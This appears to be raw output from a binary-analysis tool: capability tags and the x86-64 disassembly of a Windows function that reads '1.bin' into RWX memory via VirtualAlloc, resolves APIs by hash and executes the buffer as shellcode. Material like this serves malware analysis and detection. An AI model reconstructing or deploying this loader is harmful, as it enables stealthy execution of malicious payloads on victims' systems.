Function at 0x140001620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
lea rax, str.1.bin
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
mov dword [rsp + 0x20], 1
lea rcx, [rbp - 0x58]
mov r8d, 0x24
mov r9d, 0x40
call fcn.1400019b0
jmp 0x140001671
lea rcx, [rbp - 0x58]
call fcn.140001b90
test al, 1
jne 0x140001698
nop
mov dword [rbp + 0x130], 1
mov dword [rbp + 0x134], 1
jmp 0x140001931
nop
mov rax, qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
lea rcx, [rbp - 0x58]
lea rdx, [rbp + 0xe8]
call rax
jmp 0x1400016af
nop
mov rax, qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rbp - 0x58]
xor edx, edx
xor r8d, r8d
call rax
jmp 0x1400016c4
lea rsi, [rbp + 0x12f]
mov rcx, rsi
call fcn.140001bc0
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
lea rcx, [rbp + 0xb8]
mov rdx, rax
mov r8, rsi
call fcn.140001bf0
jmp 0x1400016f3
jmp 0x1400016f5
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
mov rsi, rax
lea rcx, [rbp + 0xb8]
call fcn.140001c30
nop
mov r9, qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x58]
mov rdx, rax
mov r8, rsi
call r9
jmp 0x140001727
lea rcx, [rbp - 0x58]
call fcn.140001c50
jmp 0x140001732
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
nop
mov r10, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call r10
jmp 0x14000175c
nop
mov qword [rbp + 0x120], rax
cmp qword [rbp + 0x120], 0
jne 0x140001788
nop
mov dword [rbp + 0x130], 1
mov dword [rbp + 0x134], 1
jmp 0x140001923
nop
mov rsi, qword [rbp + 0x120]
lea rcx, [rbp + 0xb8]
call fcn.140001c30
mov rdi, rax
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
lea rcx, [0x14000892d]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
jmp 0x1400017cb
nop
mov qword [rbp + 0x100], rax
mov rcx, qword [rbp + 0x100]
mov edx, 0xb9903ada
call fcn.140001ca0
jmp 0x1400017e6
nop
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
jne 0x140001820
nop
mov dword [rbp + 0x130], 0xffffffff
mov dword [rbp + 0x134], 1
jmp 0x140001923
nop
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov r8, qword [0x14000e008]
xor ecx, ecx
xor edx, edx
call r8
jmp 0x140001846
nop
mov rcx, qword [rbp + 0x100]
mov edx, 0xc1cdffb1
call fcn.140001ca0
jmp 0x14000185a
nop
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x110], rax
mov rsi, qword [rbp + 0x110]
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
mov rcx, qword [rbp + 0x120]
mov r8, qword [0x14000e008]
mov rdx, rax
mov rax, rsi
call r8
jmp 0x14000189c
nop
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
mov ecx, 0xffffffff
mov edx, 1
call rax
jmp 0x1400018b2
nop
mov rsi, qword [rbp + 0x110]
lea rcx, [rbp + 0xe8]
call fcn.140001bd0
mov rcx, qword [rbp + 0x118]
mov r8, qword [0x14000e008]
mov rdx, rax
mov rax, rsi
call r8
jmp 0x1400018df
nop
mov rax, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x118]
mov r8, qword [0x14000e008]
xor edx, edx
call r8
jmp 0x1400018fc
nop
mov rcx, qword [rbp + 0x120]
nop
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
call rax
jmp 0x140001918
nop
mov dword [rbp + 0x134], 0
jmp 0x140001925
lea rcx, [rbp + 0xb8]
call fcn.140001db0
jmp 0x140001933
lea rcx, [rbp - 0x58]
call fcn.140001dd0
mov eax, dword [rbp + 0x130]
add rsp, 0x1c0
pop rdi
pop rsi
pop rbp
ret